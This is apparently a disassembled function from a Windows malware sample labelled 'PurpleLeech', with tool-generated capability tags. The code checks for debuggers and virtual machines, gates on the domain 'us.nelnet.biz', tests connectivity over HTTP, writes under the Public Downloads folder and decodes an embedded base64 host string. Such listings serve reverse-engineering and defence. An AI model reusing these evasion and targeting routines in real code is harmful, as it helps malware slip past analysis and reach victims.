Function at 0x14000ec80
Capabilities:
Check for outputdebugstring error
Check http status code
Get hostname
Initialize winhttp library
Prepare http request
Print debug messages
Query or enumerate registry value
Read http header
Receive http response
Reference http user-agent string
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x140032040]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
xor esi, esi
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14000f6e2
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x40], 0x100
mov eax, 1
xor ecx, ecx
cpuid
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6c], ebx
mov dword [rsp + 0x70], ecx
mov dword [rsp + 0x74], edx
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [rbp + 0xa0], eax
mov dword [rbp + 0xa4], ebx
mov dword [rbp + 0xa8], ecx
mov dword [rbp + 0xac], edx
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [rbp + 0xb0], eax
mov dword [rbp + 0xb4], ebx
mov dword [rbp + 0xb8], ecx
mov dword [rbp + 0xbc], edx
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [rbp + 0xc0], eax
mov dword [rbp + 0xc4], ebx
mov dword [rbp + 0xc8], ecx
mov dword [rbp + 0xcc], edx
lea rdi, str.VMware
mov qword [rbp], rdi
lea r14, str.VirtualBox
mov qword [rbp + 8], r14
lea rax, str.Microsoft_Hv
mov qword [rbp + 0x10], rax
lea r15, [0x140026d50]
mov qword [rbp + 0x18], r15
lea rax, str.XenVMM
mov qword [rbp + 0x20], rax
lea r12, str.QEMU
mov qword [rbp + 0x28], r12
lea rax, str.BHYVE
mov qword [rbp + 0x30], rax
lea rax, str.Parallels
mov qword [rbp + 0x38], rax
lea rbx, [rbp]
nop dword [rax]
mov rdx, qword [rbx]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14000f6e2
add rbx, 8
lea rax, [rbp + 0x40]
cmp rbx, rax
jne 0x14000edd0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov r9d, 2
lea r8, str.BIOS
lea rdx, str.HARDWAREDESCRIPTIONSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x14000eec6
lea rdx, str.BIOS_Version:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140012ec0
mov rcx, rax
lea rdx, [rbp + 0xd0]
call fcn.140012ec0
lea rdx, [0x140013090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r12
lea rax, [0x140026db8]
mov qword [rbp - 0x18], rax
lea rax, str.Hyper_V
mov qword [rbp - 0x10], rax
lea rbx, [rbp - 0x38]
nop word [rax + rax]
mov rdx, qword [rbx]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14000f6e2
add rbx, 8
lea rax, [rbp - 8]
cmp rbx, rax
jne 0x14000eea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x50], xmm1
mov r8d, 6
lea rdx, str.x64dbg
lea rcx, [rbp + 0x40]
call fcn.140004410
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x70], xmm1
mov r8d, 7
lea rdx, str.OllyDbg
lea rcx, [rbp + 0x60]
call fcn.140004410
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x90], xmm1
mov r8d, 3
lea rdx, [0x140026cf0]
lea rcx, [rbp + 0x80]
call fcn.140004410
nop
lea rbx, [rbp + 0x40]
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000ef52
mov rdx, qword [rbx]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x14000f6c7
add rbx, 0x20
lea rax, [rbp + 0xa0]
cmp rbx, rax
jne 0x14000ef45
lea r9, [fcn.140011790]
mov edx, 0x20
mov r8d, 3
lea rcx, [rbp + 0x40]
call fcn.140022524
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str.DebuggerDetectionTest
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000f6e2
call fcn.140004820
test al, al
jne 0x14000f6e2
lea rcx, [rbp - 0x58]
call fcn.140003980
nop
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rcx, qword [rbp - 0x58]
mov r13, 0xffffffffffffffff
cmp qword [rbp - 0x48], 2
jb 0x14000f006
mov rax, rcx
cmp byte [rax], 0x36
jne 0x14000eff3
cmp word [rax], 0x3736
je 0x14000effd
cmp rax, rcx
je 0x14000f006
dec rax
jmp 0x14000efe7
sub rax, rcx
je 0x14000f0da
mov dword [rsp + 0x40], 0x10
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x68]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
xorps xmm0, xmm0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
movups xmmword [rsp + 0x48], xmm0
test eax, eax
jne 0x14000f045
xor r8d, r8d
lea rdx, [0x140026c01]
jmp 0x14000f05f
lea rax, [rsp + 0x68]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f050
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x48]
call fcn.140004410
lea rcx, [rsp + 0x48]
mov rbx, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x60]
cmp rdi, 0xf
cmova rcx, rbx
mov r8, qword [rsp + 0x58]
cmp r8, 0xd
jne 0x14000f642
lea rdx, str.us.nelnet.biz
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000f642
cmp rdi, 0xf
jbe 0x14000f0da
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000f0d2
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f66d
mov rcx, rbx
call fcn.140022240
call fcn.14000b930
lea r9, str.MyWriteEvent
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r12, rax
test rax, rax
je 0x14000f5fa
cmp qword [rbp - 0x48], 0
jne 0x14000f138
lea rdx, str.Public_IP_is_empty._Exiting...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140012ec0
lea rdx, [0x140013090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp + 0xa0]
call fcn.1400078c0
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x1a
jb 0x14000f1d8
lea rax, [r8 + 0x1a]
mov qword [rbx + 0x10], rax
mov rdi, rbx
cmp rcx, 0xf
jbe 0x14000f16f
mov rdi, qword [rbx]
lea rax, [0x1400281d2]
mov r15d, 0x1a
lea r14, str.C:UsersPublicDownloads_
cmp rax, rdi
jbe 0x14000f19e
lea rax, [rdi + r8]
cmp r14, rax
ja 0x14000f19e
cmp rdi, r14
jbe 0x14000f1a1
mov rsi, rdi
sub rsi, r14
jmp 0x14000f1a1
mov rsi, r15
inc r8
lea rcx, [rdi + 0x1a]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
sub r15, rsi
lea rdx, [r14 + 0x1a]
add rdx, rsi
lea rcx, [rdi + rsi]
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
xor esi, esi
jmp 0x14000f1fd
mov r15d, 0x1a
mov qword [rsp + 0x28], r15
lea r14, str.C:UsersPublicDownloads_
mov qword [rsp + 0x20], r14
mov edx, r15d
mov rcx, rbx
call fcn.14001b620
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000f272
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f26d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f26d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022240
movdqa xmm0, xmmword [0x140029650]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x68], 4
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_91.0.4472.124_Safari_537.36
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rsi, rax
test rax, rax
je 0x14000f596
mov r8d, 0x50
xor r9d, r9d
lea rdx, str.Google.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rdi, rax
test rax, rax
je 0x14000f37e
xor r14d, r14d
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140026ed0]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
test rax, rax
je 0x14000f375
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x14000f36c
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x14000f36c
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
mov edx, 0x20000013
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov r13d, dword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp r13d, 0xc8
jne 0x14000f596
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea rdx, [rsp + 0x48]
mov rcx, r12
call fcn.14000c1f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
mov r8d, 0xc
lea rdx, str.bGVucmFkLmlv
lea rcx, [rsp + 0x68]
call fcn.140004410
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x78]
call fcn.140003e90
nop
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x48]
call fcn.14000ca80
test al, al
jne 0x14000f489
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14000f433
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f42e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f4f7
call fcn.140022240
movdqa xmm0, xmmword [0x140029650]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14000f5a7
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f47f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f547
call fcn.140022240
jmp 0x14000f59f
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000d560
call fcn.14000daa0
lea rdx, str._n__________________________________________________n________________________________________________o___n.______________________________________________n______________________________________________._n____________________________________________n__________:______________________________._n____________________________________________n___________________________________________n__________________________________________n_________________________________________n__________________________________________n_______________n___PurpleLeech___n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140012ec0
lea rdx, [0x140013090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14000b6a0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14000f503
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f4fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f4fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022240
movdqa xmm0, xmmword [0x140029650]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14000f554
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f54e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f54e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022240
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000f687
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f58c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f5db
call fcn.140022240
jmp 0x14000f687
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm0, xmmword [0x140029650]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000f5ef
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f5e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f5e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022240
movdqa xmm0, xmmword [0x140029650]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14000f638
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f633
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f633
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022240
mov eax, 1
jmp 0x14000f711
cmp rdi, 0xf
jbe 0x14000f67c
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000f674
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f674
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140022240
call fcn.140009740
call fcn.14000b6a0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14000f70f
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f6c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f6c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022240
jmp 0x14000f70f
lea r9, [fcn.140011790]
mov edx, 0x20
mov r8d, 3
lea rcx, [rbp + 0x40]
call fcn.140022524
lea rdx, str.Access_has_been_restored.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140012ec0
lea rdx, [0x140013090]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140009740
call fcn.14000b6a0
xor eax, eax
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140022220
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret